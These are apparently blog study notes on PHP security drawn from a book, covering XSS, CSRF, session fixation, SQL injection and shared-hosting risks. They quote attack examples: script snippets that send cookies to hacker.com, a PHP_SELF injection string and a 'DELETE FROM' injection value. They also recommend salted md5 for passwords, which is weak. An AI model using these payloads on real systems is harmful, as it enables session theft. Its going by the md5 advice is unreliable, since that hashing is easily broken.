The most of these notes come from this book:
Essential PHP Security, Chris Shiflett, O’Reilly, First Edition
ISBN: 0-596-00656-XX
Don’t underestimate a risk just because it’s impossible it happens: hackers are very clever and more expert than you. They could find a new bug.
Defence in Depth: if an hacker breaks one of your walls, it would be great if another wall stops him.
- (page 9)
It could be a good idea to use basename() and dirname() to filter filenames coming from outside the application when possible, because an hacker could use ‘..‘ to browse the filesystem.
- (page 13)
Filter any input data (from cookies, post, get and even database) and put it in a secure array called $clean_input, for example.
Use this function to filter data to display (and put any variable in an array called $clean_output, for example) in order to avoid Cross-Site Scripting:
htmlentities(…., ENT_QUOTES, ‘UTF-8′)
the last argument must be the one used for the ‘Content-type’ meta tag
- (page 22)
When a file is uploaded, check you’re actually working on the uploaded one (an hacker could have manipulated the ‘tmp_name’ value)
$filename = $_FILES[’….’][’tmp_name’];
if ( is_uploaded_file($filename) ) { // anti-hacking check
// all the operations on the file
}
- (page 28)
Against CSRF (Cross-Site Request Forgery) attach:
If a form performs an action:
_ POST method rather than GET method (weak barrier)
_ use a random token to validate the form, that could even expire after a certain time (in this way you’ll be sure the form has been actually submitted from your site and nobody is trying to mimic a form)
- (page 33)
Filter also data coming from the db because they could have been injected maliciously.
Even the $_SERVER and $_ENV superglobals don’t actually contain data purely from the server and its environment. For instance, $_SERVER[’HTTP_HOST’] and $_SERVER[’REQUEST_URI’] both come directly from the client’s request. $_SERVER[’PHP_SELF’] comes from the client request for the page. Then, this code:
<form action="< ?=$_SERVER['PHP_SELF']?>“>
is vulnerable, infact $_SERVER[’PHP_SELF’] could contain:
http://myapp.com/foo.php/"><script>alert("Hello!");</script><
- (page 36):
md5 by itself is not that secure anymore (http://md5.rednoize.com/). So salt it!
$salt = ‘TRFFGTRE’;
$password_hash = md5($salt . md5($password . $salt));
- (page 43):
Encrypt session data with the help of:
session_set_save_handler()
- (page 46)
Session Fixation is when an hacker will provide a victim with an URL with a KNOWN session URL attached (for example in an email for the user to click on). After that, the hacker will try to visit the site using that session id and it could be possible they will be authenticate as the victim.
Against that:
session_regenerate_id() when there’s a change in user privileges (typically after a success login in)
- (page 48)
As a further protection against Session Thief there’s the checking of the HTTP-USER-AGENT HTTP Header (that you need to store as a session variable). This is the most reliable (but not completely!) header as the other ones (for example ‘Accept’) could change during the visitor navigation. As you can’t be 100% sure it’s an attack if the User Agent changes, just simply ask again for the password.
To filter data use:
ctype_alpha
ctype_digit [all characters are digits, no point allowed]
is_numeric
- (page 66)
To throttle the brute force attack in the authentication system, disable a user account after a certain number of failure.
- (page 72)
When you have a ‘remember me’ facility to allow users have a persistent login, you should change the cookie (in which there will be stored a session ID) every time the user visit the site (not on every page load, so you’ll need to set an interval). Then a potential cookie thief will not have access forever.
- (page72)
Change the session ID each time there’s a gaining in user permission so if there was a session theft, the thief can’t gain high privileges.
Misc:
- SQL injection: use mysql_real_escape_string and cast to integer for integer! mysql_real_escape_string doesn’t do the job with integer. Infact
mysql_query("SELECT * FROM test where id=" . $_GET['id']);
and
$_GET['id'] = "3; DELETE FROM test";
(we are wrongly supposing mysql_query can execute more than one query)
- If you expect to receive UTF8 from the browser, you should make sure it actually is, for example using utf8_encode.
- Protect your admin area not just with PHP Authehtication but also with HTTP Authehtication
- OpenSource Project: give to admin area a non-default URL
- Best practise: consider all files stored within the Document Root to be public. Put as many files as possible out of the Document Root. The only files that should be stored within Document Root are those that absolutely must be accessible via URL.
- Ask for the password again, before any very sensitive transaction
- Class InputFilter with all the general purpose filtering (email address, telephone number, …) and a ‘check class’ for every class that inherits from InputFilter (for example - User_InputFilter with all the check methods for the class User that inherits from InputFilter,… )
Other more obvious:
- keep everything updated
- less privilege as possible
- any file in the document root can be accessed directly (even if you mean to use it just as an included file). So more attention to PHP documents that haven’t got an extension recognize as a PHP extension by Apache. So, basically, give all the php files the php extension.
- Semantic URL attack
- Upload attack: try to upload a malicious PHP file
- Filename manipulation for the includes
- Command Injection
Allowing HTML
If you need to let your users insert HTML (for example though a WYSIWYG editor), you can end up with something like these:
<style>
body { display: none !important }
</style>
<script>
location.href = 'http://hacker.com/?cookies='+document.cookie;
</script>
The solution should be to use strip_tags that removes tag entities, leaving only those specified. But there can be these problems:
<b style="display: block;
postition: absolute;
top: 0px;
left: 0px;
width: 100%;
height: 100%;
background-color; #ffffff;">
Hello World!
</b>
<b onmouseover="location.href = 'http://hacker.com/?cookies=' + document.cookie;">hello world</b>
So we need to filter both by tag and by attribute.
You can use a whitelist that contains all the dangerous elements such as: script, onclick, style, onmousedown. Even better, rather that a list of what ypu don’t want (you need to update it with potential new JS methods), you can have a list of what you allow.
Another problem is balancing tags to fix stuff like these (user mistakes or malicious attempts):
<b>hello world
</div></div></div></div></div>hello world
Security in a Shared Hosting
But they could be very useful even on a non-shared environment in accordance with the principle of Defence in depth.
- (page 75)
Store all the sensitive data in the database. Yes, but where to store the credential for accessing the database in order not to be accessible by other users on the server?
In this way, thanks to the SetEnv instruction, we have created some environment variables in Apache that can be used inside our PHP code.
Then, our config.php (or however you want to call it) won’t contain the username and password for the database but something like this:
$db_user = $_SERVER[’DB_USER’];
$db_pass = $_SERVER[’DB_PASS’];
Two notes:
- The file /path/my.conf is readable just by root then the Apache children processes won’t be able to read it. But the main (father) process is owned by root (in order to access the port 80) so it will be able to read that file when loading the configuration.
- Be very careful with phpinfo().Disable it (throught the disable_functions directive) because it displays all the environment variables and then also our password.
-
The session data is in /tmp then the other users could read/write it with a very simple script (because of the weak permission of that directory). Then it’s much better move the session data in the database. How to do that?
- Create the table
- redefine session_set_save_handler before calling the function session_start
The rest of the code will not change!
-
The other users on the server could include your files (guessing the path) or use a script in their space to browse the files in your space (they can go to the /home directory to find out the usernames on the server), then you should consider all the source code on a shared environment to be public
The directive Safe Mode set to on surely helps but keep in mind:
- hacker could run script in other languages (Perl, Python,…)
- it doesn’t prevent from reading files owned by the Web Server